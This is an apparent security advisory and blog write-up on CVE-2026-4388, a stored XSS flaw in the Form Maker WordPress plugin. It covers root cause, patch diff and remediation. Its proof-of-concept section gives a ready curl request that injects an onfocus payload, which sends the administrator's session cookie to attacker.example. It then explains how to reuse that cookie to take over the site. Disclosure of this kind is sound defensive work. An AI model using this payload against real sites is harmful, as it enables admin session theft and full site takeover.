Form Maker by 10Web WordPress plugin banner

CVE-2026-4388: Unauthenticated Stored XSS in Form Maker by 10Web Plugin

CVE-2026-4388 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Form Maker by 10Web WordPress plugin. All versions up to and including 1.15.40 are affected. An unauthenticated attacker can inject arbitrary JavaScript into a Matrix field (Text Box input type) via a crafted form submission. The payload fires automatically when an administrator opens the poisoned submission. No click is required. The attacker can hijack the admin session and fully compromise the site.

Vulnerability Summary

FieldValue
Plugin NameForm Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder
Plugin Slugform-maker
CVE IDCVE-2026-4388
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting (Stored XSS)
Affected Versions<= 1.15.40
Patched Version1.15.41
PublishedApril 13, 2026
ResearcherNaoya Takahashi (nakko)
Wordfence AdvisoryLink

Description

The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Matrix field (Text Box input type). All versions up to and including 1.15.40 are affected. The cause is insufficient input sanitization (sanitize_text_field strips tags but not quotes) and missing output escaping when rendering submission data in the admin Submissions view. Attackers can inject arbitrary JavaScript through a form submission. The script executes in the browser of any administrator who views the submission details.


Technical Analysis

Vulnerable Code Path

The attack flows through two stages: form submission (data stored) and submission review (data displayed).

Stage 1 — Data Storage: frontend/models/form_maker.php

The form submission AJAX endpoint is registered for unauthenticated users:

// form-maker.php:182
add_action('wp_ajax_nopriv_fm_submit_form', array($this, 'FM_front_end_main'));

Inside the type_matrix case, text-box cell values are read directly from POST with only sanitize_text_field applied (the default callback of WDW_FM_Library::get()):

// frontend/models/form_maker.php:2352
$element = WDW_FM_Library(self::PLUGIN)->get(
    'wdform_' . $i . "_input_element" . $id . $k . '_' . $j
);
// Default callback: sanitize_text_field
// Strips HTML tags, but DOES NOT strip double-quote characters.

The element values are concatenated with *** separators and stored into the database:

// frontend/models/form_maker.php:2356, 2380
$input_value .= $element . "***";

$value = $rows_count . get(hidden_row) . '***'
       . $columns_count . get(hidden_col) . '***'
       . get(input_type) . '***'
       . $input_value
       . '***matrix***';

The stored DB record for a 1×1 text matrix ends up as:

1***Row1***1***Col1***text***<ATTACKER_PAYLOAD>***matrix***

Stage 2 — Data Display: admin/views/FormMakerSubmits.php

When an administrator views a submission’s detail popup (action FormMakerSubmits), the raw DB value is read, split by ***, and the text-type cell value is echoed directly into an HTML attribute:

// admin/views/FormMakerSubmits.php:166-169 (vulnerable version)
$checked = $mat_params[$mat_rows + $mat_columns + 2 + $var_checkbox];
?>
<td style="text-align:center">
    <input type="text" value="<?php echo $checked; ?>" disabled /></td>

The $checked variable is the raw value from the database. There is no call to esc_attr() before it is echoed into the value="" attribute. This allows an attacker-supplied double-quote character to break out of the attribute and inject arbitrary HTML event handlers.

Root Cause

The vulnerability is the combination of two weaknesses acting together:

  1. Insufficient input sanitization: sanitize_text_field() calls wp_strip_all_tags() internally, which removes HTML tags such as <script>. However, it does not encode or remove double-quote characters ("). An event-handler injection payload like " autofocus onfocus="alert(1) contains no HTML tags and passes through sanitize_text_field unchanged.

  2. Missing output escaping: The cell value from the database is echoed directly inside an HTML attribute (value="...") with no call to esc_attr(). This allows the unescaped " to close the value attribute and inject additional HTML attributes.

Why Existing Controls Failed

sanitize_text_field is documented for sanitizing plain-text strings for use in database storage or general display, not for injection-safe inclusion inside HTML attributes. The correct function for attribute-safe output is esc_attr(), which encodes " as &quot;. The developer used only sanitize_text_field at input time. Without esc_attr() at output time, the quote characters passed through the entire pipeline unchanged.

Attack Impact

An unauthenticated attacker can:

The autofocus attribute combined with onfocus causes the payload to fire automatically the moment the administrator’s browser renders the submissions detail view, with no click or hover required.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Identify the target form and field IDs

Load any page containing the Form Maker embed and view its HTML source. Locate the hidden inputs that the plugin injects via JavaScript on submit (added by framework/WDW_FM_Library.php):

<input type="hidden" name="wdform_1_input_type1"   value="text" />
<input type="hidden" name="wdform_1_hidden_row1"    value="***Row 1" />
<input type="hidden" name="wdform_1_hidden_column1" value="***Column 1" />

Note the form ID (the suffix, 1 above) and the field index (the number after wdform_, 1 above).

The text-box cell input inside the form will be named:

wdform_{field_index}_input_element{form_id}{row}_{col}

For the first row, first column of field 1 in form 1: wdform_1_input_element11_1.

Step 2: Submit the malicious payload

Send a POST request to the WordPress AJAX endpoint. No login is needed — wp_ajax_nopriv_fm_submit_form accepts submissions from any visitor.

TARGET="https://example.com"
FORM_ID=1
FIELD_IDX=1

curl -s -X POST "${TARGET}/wp-admin/admin-ajax.php" \
  -d "action=fm_submit_form" \
  -d "form_id=${FORM_ID}" \
  -d "wdform_${FIELD_IDX}_element${FORM_ID}=" \
  -d "wdform_${FIELD_IDX}_input_type${FORM_ID}=text" \
  --data-urlencode "wdform_${FIELD_IDX}_hidden_row${FORM_ID}=***Row 1" \
  --data-urlencode "wdform_${FIELD_IDX}_hidden_column${FORM_ID}=***Col 1" \
  --data-urlencode "wdform_${FIELD_IDX}_input_element${FORM_ID}11_1=\" autofocus onfocus=\"fetch('https://attacker.example/steal?c='+document.cookie)\""

A successful response from the server will include a confirmation message or redirect.

Step 3: Verify the malicious submission was stored

Log in as administrator and navigate to:

/wp-admin/admin.php?page=submissions_fm&form_id=<FORM_ID>

The most recent submission should appear in the list.

Step 4: Trigger the XSS

Click the View (detail) link for the poisoned submission. The admin browser opens the submission popup (action FormMakerSubmits), which renders:

<input type="text"
       value=""
       autofocus
       onfocus="fetch('https://attacker.example/steal?c='+document.cookie)"
       disabled />

The autofocus attribute causes the input to receive focus immediately on page render. The onfocus event handler fires automatically — no further user interaction is required. The attacker’s server receives the administrator’s session cookie.

Expected Result

The administrator’s session cookie (or any other targeted data) is exfiltrated to the attacker-controlled server without the administrator clicking anything beyond navigating to the submissions page.

Verification

  1. Monitor https://attacker.example/steal for incoming requests.
  2. After the admin views the submission, a GET request arrives with the c= parameter containing the admin’s wordpress_logged_in_* session cookie.
  3. The attacker can use this cookie to log in as administrator without knowing the password.

Patch Analysis

What Changed (1.15.40 → 1.15.41)

The 1.15.41 patch modified six files:

FileChange
admin/controllers/FormMakerIpinfoinPopup.phpReplaced unsafe unserialize(file_get_contents(...)) with wp_remote_get() + json_decode(); added esc_url() and esc_attr() on all output
admin/models/Submissions_fm.phpFixed multiple SQL injection vulnerabilities using $wpdb->prepare() and $wpdb->esc_like(); sanitized dynamically interpolated label/search values
booster/AdminBar.phpRestricted unserialize() with allowed_classes => false to prevent PHP object injection
frontend/controllers/form_maker.phpAdded preg_match() and is_callable() validation to prevent attacker-controlled dynamic method calls
form-maker.phpVersion bump to 1.15.41
readme.txtChangelog entry added

Fix Explanation for the XSS

The core XSS fix adds esc_attr() to the matrix text-box output in admin/views/FormMakerSubmits.php. Line 169 changes echo $checked to echo esc_attr($checked):

- <input type="text" value="<?php echo $checked; ?>" disabled /></td>
+ <input type="text" value="<?php echo esc_attr($checked); ?>" disabled /></td>

esc_attr() converts "&quot;, preventing attribute breakout. Even if sanitize_text_field allowed the double-quote through at storage time, the output escaping now blocks it at display time.

Code Diff (Key XSS Fix)

--- a/admin/views/FormMakerSubmits.php (1.15.37, vulnerable)
+++ b/admin/views/FormMakerSubmits.php (1.15.41, patched)
@@ -164,7 +164,7 @@
          if ( $mat_params[$mat_rows + $mat_columns + 2] == "text" ) {
            for ( $l = 1; $l <= $mat_columns; $l++ ) {
              $checked = $mat_params[$mat_rows + $mat_columns + 2 + $var_checkbox];
              ?>
              <td style="text-align:center">
-               <input type="text" value="<?php echo $checked; ?>" disabled /></td>
+               <input type="text" value="<?php echo esc_attr($checked); ?>" disabled /></td>
              <?php

The full 1.15.41 patch also hardened SQL queries, prevented unsafe deserialization, and blocked arbitrary method dispatch — indicating this was a broad security audit, not a single-issue fix.


Timeline

DateEvent
UnknownVulnerability discovered by Naoya Takahashi (nakko)
April 13, 2026Publicly disclosed by Wordfence Intelligence
April 13–14, 2026Patched version 1.15.41 released

Remediation

Update the form-maker plugin to version 1.15.41 or later immediately.

If an immediate update is not possible:


References

  1. Wordfence Advisory — CVE-2026-4388
  2. Vulnerable output line — FormMakerSubmits.php:L169 (tag 1.15.37)
  3. Data retrieval line — FormMakerSubmits.php:L166 (tag 1.15.37)
  4. Insufficient sanitization — form_maker.php:L2352 (tag 1.15.37)
  5. SVN Changeset (security patch diff)

Frequently Asked Questions

What is CVE-2026-4388?

CVE-2026-4388 is a CVSS 7.2 High severity Unauthenticated Stored Cross-Site Scripting vulnerability in the Form Maker by 10Web WordPress plugin that lets any visitor inject malicious JavaScript into form submissions, which then executes automatically when an administrator views the submission.

Which versions of Form Maker by 10Web are affected by CVE-2026-4388?

All versions of Form Maker by 10Web up to and including version 1.15.40 are vulnerable. The vulnerability was fixed in version 1.15.41.

What can an attacker do with CVE-2026-4388?

An attacker can steal the administrator's session cookie and use it to log in as an admin without knowing the password. From there, the attacker can create rogue admin accounts, install backdoor plugins, modify site settings, or fully compromise the site.

Does an attacker need to be logged in to exploit CVE-2026-4388?

No login is required. Any unauthenticated visitor can exploit this vulnerability by submitting a crafted form with a malicious payload in a Matrix Text Box field.

How do I fix CVE-2026-4388 in Form Maker by 10Web?

Update the Form Maker by 10Web plugin to version 1.15.41 or later through your WordPress admin dashboard under Plugins, then Updates. If you cannot update immediately, restrict admin access to trusted IP addresses and monitor submissions for suspicious content.

Has Form Maker by 10Web been patched for CVE-2026-4388?

Yes. Version 1.15.41 was released on April 13-14, 2026 and contains the fix for this vulnerability by adding proper output escaping with esc_attr() when rendering submission data in the admin view.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee